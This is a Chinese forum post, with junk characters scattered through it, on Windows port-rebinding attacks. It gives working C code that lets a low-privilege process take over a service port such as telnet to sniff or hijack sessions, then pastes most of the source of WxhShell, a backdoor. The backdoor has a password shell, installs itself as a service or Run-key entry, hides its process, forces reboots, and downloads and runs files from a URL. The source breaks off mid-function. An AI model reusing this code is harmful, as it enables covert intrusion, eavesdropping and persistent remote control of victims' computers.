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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a^1c _  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :iC\#i]6  
VNot4 62L  
  saddr.sin_family = AF_INET; <"P '"SC  
S; <?nz3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3@bjIX`=H  
$?Mz[X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LjAIB(*  
-H;y_^2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h>Pg:*N,(  
$ T_EsnN  
  这意味着什么?意味着可以进行如下的攻击: { qx,X.5$  
6?x{-Zj ^?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vrDRSc6_  
K1WoIv<Ym  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  -KiS6$-  
uk/+ i`=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DfFPGFv  
 0PbIWy'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =5eDT~=2{U  
E%:zE Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p&M'DMj+  
#al^Uqd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6-YR'ikU  
Vb#@o)z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +# >%bq x  
AWNd(B2o  
  #include G{Q'N04RA  
  #include ;MI<J>s  
  #include PTZ1 oD  
  #include    o/ 5 Fg>d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]V("^.~$+C  
  int main() RN| ..zml  
  { VMXXBa&  
  WORD wVersionRequested; 8{<cqYCR  
  DWORD ret; 1uQf}  
  WSADATA wsaData; H)+kN'J  
  BOOL val; Br!&Y9  
  SOCKADDR_IN saddr; JOq<lb=  
  SOCKADDR_IN scaddr; R/YL1s  
  int err; 3?(p;  
  SOCKET s; 7y7y<`)I5  
  SOCKET sc; :_zKUv]  
  int caddsize; .?j8{>  
  HANDLE mt; wpI4P:  
  DWORD tid;   7rg[5hP T  
  wVersionRequested = MAKEWORD( 2, 2 ); T480w6-@  
  err = WSAStartup( wVersionRequested, &wsaData ); PyF4uCn"H  
  if ( err != 0 ) { 0GVok$r@  
  printf("error!WSAStartup failed!\n"); f}!26[_9{  
  return -1; JwczE9~o  
  } ?@(H. D6'v  
  saddr.sin_family = AF_INET; uK5Px!  
   %Q~Lk]B?t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ::`wx@  
ijYLf.R<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); va;wQ~&  
  saddr.sin_port = htons(23); qZ }XjL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y'h'8 \  
  { 0/]vmDr  
  printf("error!socket failed!\n"); ".ZiR7Z:$Y  
  return -1; bm.H0rHR4  
  } QD~ `UJe>  
  val = TRUE; 'b,D;'v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c y$$}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x"80c(i  
  { |i8dI)b  
  printf("error!setsockopt failed!\n"); Fgk/Ph3r  
  return -1; %"2B1^o>  
  } b4ivWb|`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X>>rvlDN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xw H`alu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RGLqn{<V  
mio'm  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) cf'Z#NfQ  
  { 2[hl^f^%,  
  ret=GetLastError(); OpE+e4~IF  
  printf("error!bind failed!\n"); T5;D0tM/  
  return -1; m`"s$\fah  
  } KA#-X2U/  
  listen(s,2); iH=@``Z  
  while(1) -;*Z!|e9  
  { uBgHtjmae  
  caddsize = sizeof(scaddr); ;8Cqy80K  
  //接受连接请求 =x}/q4}L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ](D [T  
  if(sc!=INVALID_SOCKET) Y."[k&P-  
  { ja2]VbB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dr o42#$Mo  
  if(mt==NULL) opC11c/  
  { A9gl|II  
  printf("Thread Creat Failed!\n"); iz(+(M  
  break; '3VrHL@@g  
  } 9E+lriyY  
  } uzsN#'7=  
  CloseHandle(mt); ;4IP7$3G  
  } c[$oR,2b13  
  closesocket(s); \m!."~%  
  WSACleanup(); 6dUP's_  
  return 0; H <yec"  
  }   JGe;$5|q8  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2<|5zF  
  { H>]x<#uz)  
  SOCKET ss = (SOCKET)lpParam; =$Z'F<|d  
  SOCKET sc; OUPpz_y  
  unsigned char buf[4096]; ?`>yl4  
  SOCKADDR_IN saddr; dp"w=~53  
  long num; 5;l_-0=  
  DWORD val; @C2<AmY9q*  
  DWORD ret; E \RU[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f@mM&e=f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {UNz UaE  
  saddr.sin_family = AF_INET; \ck3y]a[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LzfLCGA^  
  saddr.sin_port = htons(23); !l|Qyk[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /[L:ol6;!  
  { PhS"tOGtX  
  printf("error!socket failed!\n"); dEiX! k$#  
  return -1; {TNAK%'v  
  } "=;&{N~8U  
  val = 100; A UK7a  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N_0O"" d  
  { GZw<Y+/V"5  
  ret = GetLastError(); hbK+\X  
  return -1; t-Wn@a  
  } e|LXH/H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DxBt83e  
  { 5a/)|  
  ret = GetLastError(); h(sD]N  
  return -1; rSk $]E]Z  
  } JoYzC8/r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?cvv!2B]T  
  { x1~`Z}LX0  
  printf("error!socket connect failed!\n"); WJ*DWyd''  
  closesocket(sc); `uj`ixcR  
  closesocket(ss); =bzTfki  
  return -1; L{ -w9(S`i  
  } <5q}j-Q  
  while(1) PD?H5W3@  
  { u+'=EGl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [F%\1xh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P<hqr;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -~q]0>  
  num = recv(ss,buf,4096,0); o\#C] pp  
  if(num>0) kLhtkuS4  
  send(sc,buf,num,0); yBoZ@9Do  
  else if(num==0) b<8h\fR#'  
  break; = 7?'S#  
  num = recv(sc,buf,4096,0); m8?(.BJ%  
  if(num>0) pV!(#45~W  
  send(ss,buf,num,0); 8yo9$~u;  
  else if(num==0) 'e)t+  
  break; m3D'7*U  
  } X%dOkHarB  
  closesocket(ss); 4*3vZ6lhu  
  closesocket(sc); ZDf9Npe  
  return 0 ; wmIq{CXx,  
  } K6X1a7  
j405G4BVW  
NJp;t[v.^  
========================================================== FueJe/~t  
Uu(W62  
下边附上一个代码,,WXhSHELL y^ :x2P  
CeQcnJU  
========================================================== !>tXib]:  
,'j5tU?c  
#include "stdafx.h" it,%T)2H  
ObCwWj^qO  
#include <stdio.h> 38#(ruv  
#include <string.h> bQ)r8[o!  
#include <windows.h> "@n$(-.  
#include <winsock2.h> qH ~usgqB7  
#include <winsvc.h> bchhokH   
#include <urlmon.h> Di6:r3sEO  
QNo}nl /N  
#pragma comment (lib, "Ws2_32.lib") b?$3jOtW  
#pragma comment (lib, "urlmon.lib") V= _8G3  
sxqX R6p{  
#define MAX_USER   100 // 最大客户端连接数 ,LW0{(&z  
#define BUF_SOCK   200 // sock buffer ,d7@*>T&  
#define KEY_BUFF   255 // 输入 buffer +a|4XyN  
09"~<W8  
#define REBOOT     0   // 重启 R[V%59#{Z  
#define SHUTDOWN   1   // 关机 x .q%O1  
CUG6|qu  
#define DEF_PORT   5000 // 监听端口 q8oEb  
1@y?OWC  
#define REG_LEN     16   // 注册表键长度 xQ[YQ!l  
#define SVC_LEN     80   // NT服务名长度 ji2#O.  
oGM.{\i  
// 从dll定义API #GF1MFkoS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u4 "+u"{d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W+#?3s[FV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @MM|.# ~T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W1OGN4`C  
(|x->a  
// wxhshell配置信息 DW-LkgfA  
struct WSCFG { '>6-ie^0  
  int ws_port;         // 监听端口 L.R  
  char ws_passstr[REG_LEN]; // 口令 u/zC$L3B(  
  int ws_autoins;       // 安装标记, 1=yes 0=no JB-j@  
  char ws_regname[REG_LEN]; // 注册表键名 p.%$  
  char ws_svcname[REG_LEN]; // 服务名 $?A]!Y;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L{=z}QO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P~#jvm!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 N>z8\y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no / [19ITZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #B?7{#.1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &#;,P :.'  
4>|5B:  
}; 4[#.N 3Y4*  
`+gF|o9  
// default Wxhshell configuration /j^zHrLN  
struct WSCFG wscfg={DEF_PORT, GZ e )QH  
    "xuhuanlingzhe", ?=vwr,ir  
    1, 0uvL,hF  
    "Wxhshell", sPw(+m*C   
    "Wxhshell", >5j/4Ly  
            "WxhShell Service", (-#{qkA  
    "Wrsky Windows CmdShell Service", 0TNzVsu7  
    "Please Input Your Password: ", p$V+IJtO(  
  1, p-}:7CXP  
  "http://www.wrsky.com/wxhshell.exe", ^?A+`1-  
  "Wxhshell.exe" -Av/L>TxlI  
    }; :Y'nye3:  
p[wjHfIq  
// 消息定义模块 3ty){#:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y5#_@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .3!4@l\9C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^J G}|v3$  
char *msg_ws_ext="\n\rExit."; ks;%f34  
char *msg_ws_end="\n\rQuit."; (y36NH+  
char *msg_ws_boot="\n\rReboot..."; V~wmGp.e  
char *msg_ws_poff="\n\rShutdown..."; %Xi%LUk{  
char *msg_ws_down="\n\rSave to "; ^\I$tnY`  
?{2-,M0  
char *msg_ws_err="\n\rErr!"; ALv\"uUNu+  
char *msg_ws_ok="\n\rOK!"; -7`J(f.rYC  
4{R`  
char ExeFile[MAX_PATH]; n5 i}J/Sa2  
int nUser = 0; jHzy1P{?  
HANDLE handles[MAX_USER]; &qC>*X.  
int OsIsNt; E% 'DIs  
y6s$.93  
SERVICE_STATUS       serviceStatus; ,>^~u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +u#x[xO  
7%'<}u  
// 函数声明 |RmBa'.)z  
int Install(void); ?m!FM:%  
int Uninstall(void); .jKO 6f  
int DownloadFile(char *sURL, SOCKET wsh); 1-n0"lP~4  
int Boot(int flag); M~6I-HexT|  
void HideProc(void); /<C=9?Ok  
int GetOsVer(void); NWvxbv  
int Wxhshell(SOCKET wsl); 2V]2jxOQ  
void TalkWithClient(void *cs); W1s|7  
int CmdShell(SOCKET sock); 'UyL%h;nJ  
int StartFromService(void); n*1UNQp@]O  
int StartWxhshell(LPSTR lpCmdLine); 4D13K.h`O  
+R_U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X}yYBf/R`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \5Jv;gc\\  
p .HA `R>  
// 数据结构和表定义 +D@R'$N  
SERVICE_TABLE_ENTRY DispatchTable[] = ?,NAihN]  
{ " duJl-  
{wscfg.ws_svcname, NTServiceMain}, {x: IsQZ  
{NULL, NULL} x#^kv)  
}; r$7rYxFR  
)&9RoW()?  
// 自我安装 |?> h$'  
int Install(void) wB^a1=C  
{ [=Z{y8#:J  
  char svExeFile[MAX_PATH]; !8g y)2  
  HKEY key; $enh45Wy  
  strcpy(svExeFile,ExeFile); !=we7vK}  
5f5ZfK3<i  
// 如果是win9x系统,修改注册表设为自启动 6D0,ME#  
if(!OsIsNt) { G!\x c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S%oGBY*Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }dz(DP d  
  RegCloseKey(key);  b\2"1m0H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F0\ry "(t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;vitg"Zh>  
  RegCloseKey(key); ~iWSc8-  
  return 0; S6mmk&n  
    } | QA8"&r  
  } g6V*wjC  
} <G >PPf}  
else { N[-)c,O  
m%&B4E#3T  
// 如果是NT以上系统,安装为系统服务 bhmjH(.t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .kIf1-(<U  
if (schSCManager!=0) xh0A2bw'OP  
{ s__g*%@B b  
  SC_HANDLE schService = CreateService 5IK@<#wE  
  ( 2. _cEY34  
  schSCManager, s<b7/;w'  
  wscfg.ws_svcname, 6,PL zZ5  
  wscfg.ws_svcdisp, 3[0:,^a  
  SERVICE_ALL_ACCESS, Ei-OuDM;)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7 SZR#L  
  SERVICE_AUTO_START, 5*$Zfuf  
  SERVICE_ERROR_NORMAL, ^= G+]$8  
  svExeFile, 9x!y.gx  
  NULL, _SqrQ  
  NULL, vknFtpx  
  NULL, BE~[%6T7  
  NULL, &UR/Txnu  
  NULL e=jO_[  
  ); 5MJ'/Fy(  
  if (schService!=0) bSLj-vp  
  { AHGcWS\,X  
  CloseServiceHandle(schService); R{vPn8X 6g  
  CloseServiceHandle(schSCManager); #4M0%rN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &/9oi_r%r  
  strcat(svExeFile,wscfg.ws_svcname); t^hkGYj!2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { SfUUo9R(sm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3iw9jhK!W  
  RegCloseKey(key); j&.BbcE45  
  return 0; Oe`t!&v  
    } <Tf;p8#  
  } z7C1&bGe  
  CloseServiceHandle(schSCManager); sLIP |i  
} 4)I#[&f  
} I.!/R`  
V-jL`(JF%  
return 1; u#~! %~  
} JuSS5_&  
RZA\-?cO)  
// 自我卸载 @k<~`S~|  
int Uninstall(void) #cS,5(BM  
{ @XC97kGWp  
  HKEY key; dL(|Y{4  
R:N-y."La.  
if(!OsIsNt) { +ctv]'P_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K5&C}Ey1  
  RegDeleteValue(key,wscfg.ws_regname); TzGm562o%  
  RegCloseKey(key); U.OX*-Cd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +`-a*U94  
  RegDeleteValue(key,wscfg.ws_regname); VWt'Kx"  
  RegCloseKey(key); i:ZA{hA`c  
  return 0; Ah {pidUx  
  } ,np`:fBMy  
} ;0}2@Q2@ZK  
} QE2^.|d{  
else { -QDgr`%5  
6/ipdi[ _  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i&)C,  
if (schSCManager!=0) 2]=I'U<E!  
{ @~3c"q;i7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zD<9A6AB  
  if (schService!=0) `g N68:B  
  { N1~$ +  
  if(DeleteService(schService)!=0) { "|`9{/]  
  CloseServiceHandle(schService); u V7Hsg9l  
  CloseServiceHandle(schSCManager); tYZGf xj  
  return 0; <9a_wGs  
  } @l GnG  
  CloseServiceHandle(schService); bK9~C" k  
  } C)s1' =TZ  
  CloseServiceHandle(schSCManager); GK?R76d  
} pIiED9  
} +z0}{,HX  
: "te-  
return 1; "B3:m-'  
} f*{;\n (.t  
=pyZ^/}P  
// 从指定url下载文件 u 7Y< ~  
int DownloadFile(char *sURL, SOCKET wsh) 2-!Mao"^  
{ &>.1%x@R  
  HRESULT hr; #l#[\6  
char seps[]= "/"; MmH_gR  
char *token; KxmPL  
char *file; fMPq  
char myURL[MAX_PATH]; &xroms"S=  
char myFILE[MAX_PATH]; j%jd@z ]@  
myOX:K*  
strcpy(myURL,sURL); v9lB k]c  
  token=strtok(myURL,seps); o~_>p/7;  
  while(token!=NULL) 5'Jh2r  
  { N('DIi*or  
    file=token; ,9wenr  
  token=strtok(NULL,seps); R(N(@KC  
  } %W',cu  
R+VLoz*J6  
GetCurrentDirectory(MAX_PATH,myFILE); %yM' Z[-  
strcat(myFILE, "\\"); N3p 7 0  
strcat(myFILE, file); g*?+ ~0"`Y  
  send(wsh,myFILE,strlen(myFILE),0); =GKYroNM  
send(wsh,"...",3,0); c_$&Uii  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F%Umau*1  
  if(hr==S_OK) =z1o}ga=EA  
return 0; m$mY<Q  
else k5QD5/Ej  
return 1; 'oZn<c`  
kJi&9  
} tr9Y1vxo{  
&9w%n  
// 系统电源模块 y<%.wM]-J  
int Boot(int flag) )]?egw5l  
{ .4re0:V  
  HANDLE hToken; i~B@(,  
  TOKEN_PRIVILEGES tkp; 8Gl5)=2  
ZQ'  z  
  if(OsIsNt) { 3k*:B~1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aU<D$I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *8X9lv.Z  
    tkp.PrivilegeCount = 1; gq_7_Y/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A='+tJa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d3=6MX[c  
if(flag==REBOOT) { UoMWn"ZE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W;oU +z^t$  
  return 0; n vpPmc  
} Jv^cOc  
else { G q:4rG|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T ~~[a|bLa  
  return 0; z5&%T}$tJ  
} g;#KBxE  
  } 2C33;?M  
  else { j)tC r Py  
if(flag==REBOOT) { ^Ii  \vk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h9BD ^j  
  return 0; r>:L$_]L  
} CziaxJ  
else { +.(}u ,:8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JdUz!=I  
  return 0; r5!x,{E6  
} ^o6)[_L  
} lc3S|4  
3pTS@  
return 1; kV:FJx0xP  
} ;Ma/b=Y  
8LQ59K_WX  
// win9x进程隐藏模块 ?F87C[o  
void HideProc(void) Y = g>r]2  
{ $dZ>bXUw:  
&.  =}g]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z"n'/S:q  
  if ( hKernel != NULL ) /pIb@:Y1?  
  { <qq'h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UC+7-y,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VU`z|nBW@  
    FreeLibrary(hKernel); mzV"G>,o  
  } aEEz4,x_  
uVq5fT`B  
return; V3 _b!  
} Q3Z%a|3W  
~AC P%QM=  
// 获取操作系统版本 SGBVR^  
int GetOsVer(void) I*:qGr+ WJ  
{ J|"nwY}a9  
  OSVERSIONINFO winfo; x?f0Hk+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o[6vxTH  
  GetVersionEx(&winfo); Q@e*$<3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /nY).lSH  
  return 1; 4kaE}uKU  
  else xOV A1p b,  
  return 0; o!s%h!%L  
} $d2kHT  
yxG:\y b  
// 客户端句柄模块 lRv#1'Y  
int Wxhshell(SOCKET wsl) X"TUe>cM  
{ Sqdc1zC  
  SOCKET wsh; z{`6#  
  struct sockaddr_in client; zJfK4o  
  DWORD myID; B-\,2rCCZ  
OK M\"A4  
  while(nUser<MAX_USER) O$"bd~X  
{ 49xp2{  
  int nSize=sizeof(client); ?z5ne??  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !c4)pMd  
  if(wsh==INVALID_SOCKET) return 1; Z{a{HX[Jx  
tKG;k"wk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 462!;/ y  
if(handles[nUser]==0) 7wiK.99  
  closesocket(wsh); W s^+7u  
else %\X P:  
  nUser++; !cN?SGafZI  
  } ;Na8 _}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nW $A^  
S_T{L  
  return 0; &Rt+LN0qB0  
} FE8+E\ U?  
){O1&|z-  
// 关闭 socket HUU >hq9  
void CloseIt(SOCKET wsh) qPXANx<^  
{ zdLVxL>87  
closesocket(wsh); I;kf #nvao  
nUser--; UM4 @H1  
ExitThread(0); #$rf-E5g-K  
} 00`bL  
gro7*<  
// 客户端请求句柄 rPiiC/T.`  
void TalkWithClient(void *cs) YW8K $W  
{ W>p\O9BG  
5E]UI YAkV  
  SOCKET wsh=(SOCKET)cs; hi;WFyJTu  
  char pwd[SVC_LEN]; wUZQB1$F  
  char cmd[KEY_BUFF]; NK+FQ^m[  
char chr[1]; '^Pq(b~  
int i,j; (j8GiJ]{L,  
u;+%Qh  
  while (nUser < MAX_USER) { ?G4iOiyt  
c&Gz> L  
if(wscfg.ws_passstr) { kF(Ce{;z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K,x$c %  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tr}KPdE  
  //ZeroMemory(pwd,KEY_BUFF); K[Y c<Q  
      i=0; z3^RUoGU  
  while(i<SVC_LEN) { 7XUhJN3n  
VFilF<jvu  
  // 设置超时 PU^[HC*K  
  fd_set FdRead; W:VW_3  
  struct timeval TimeOut; *C4~}4WT\  
  FD_ZERO(&FdRead); P<>[e9|  
  FD_SET(wsh,&FdRead); %'{V%IXQ  
  TimeOut.tv_sec=8; -!XrwQyk  
  TimeOut.tv_usec=0; 3 R5%N ~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lp:_H-sG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5h|'DO x|o  
,3VG.u;U   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (y=dR1p  
  pwd=chr[0]; ltNuLZ  
  if(chr[0]==0xd || chr[0]==0xa) { DapQ}2'_  
  pwd=0; I`/]@BdgY  
  break; dzgs%qtK  
  } PzIy">plm  
  i++; R&NpdW N  
    }  Y[f,ia  
b%3Q$wIJ6  
  // 如果是非法用户,关闭 socket W:`5nj]H9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6b%`^B\  
} l*QIoRYFW  
- waX#U T=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tW:W&|q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xh{mca>?G  
aN>U. SB  
while(1) { $|Q".dD  
S#P+B*v  
  ZeroMemory(cmd,KEY_BUFF); ^Lsc`<xC  
~J%R-{U9  
      // 自动支持客户端 telnet标准   L&:M8xiA~$  
  j=0; |2qR^Hd&5  
  while(j<KEY_BUFF) { @ L\-ZWq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~@%(RMJm&  
  cmd[j]=chr[0];  C}Rs[  
  if(chr[0]==0xa || chr[0]==0xd) { z8g=;><  
  cmd[j]=0; btUq  
  break; jVX._bEGX  
  } ` !zQ  
  j++; n)tU9@4Np  
    } B:e.gtM5  
vAi"$e  
  // 下载文件 vz6SCGg,  
  if(strstr(cmd,"http://")) { +*n] tlk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H9sZR>(^  
  if(DownloadFile(cmd,wsh)) $ b4*/vMr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); buRhQ"  
  else n49;Z,[~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?x:m;z/  
  } _i-\mR_~  
  else { k& OC&  
-_s%8l^  
    switch(cmd[0]) { MO[c0n%  
  AeN 3<|RN  
  // 帮助 W5pn;u- sz  
  case '?': { *:?QB8YJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *f{7  
    break; g+igxC}2z  
  } /d[Mss  
  // 安装 >g=^,G}y  
  case 'i': { TKK,Y{{  
    if(Install()) 1d`cTaQ-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K-Re"zsz  
    else 8098y,mQe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bi+9R-=&  
    break; KCE=|*6::|  
    } 5n:nZ_D  
  // 卸载 !zU/Hq{wcK  
  case 'r': { xf'LR[M  
    if(Uninstall()) _jW>dU^B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9p5= _  
    else yGRR8F5>(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M/*Bh,M`  
    break; *K`x;r  
    } (m6EQoW^s+  
  // 显示 wxhshell 所在路径 Hyf"iYv+  
  case 'p': { 3b e6p  
    char svExeFile[MAX_PATH]; RZ*<n$#6  
    strcpy(svExeFile,"\n\r"); #?_#!T|  
      strcat(svExeFile,ExeFile); nQ|GqU\oA  
        send(wsh,svExeFile,strlen(svExeFile),0); $Tfm/=e  
    break; >Dxe>Q'df  
    } 87pnSj/X"  
  // 重启 'gYg~=  
  case 'b': { z23#G>I&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OH>r[,z0  
    if(Boot(REBOOT)) l/[pEUYU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V5~fMsse  
    else { ^ s=*J=k  
    closesocket(wsh); C B6A}m  
    ExitThread(0); vlvvi()  
    } Cb4_ ?OR0  
    break; ka/nQ~_#<  
    } [8.-(-/;  
  // 关机 I4ebkPgf  
  case 'd': { 7aV$YuL)X~  
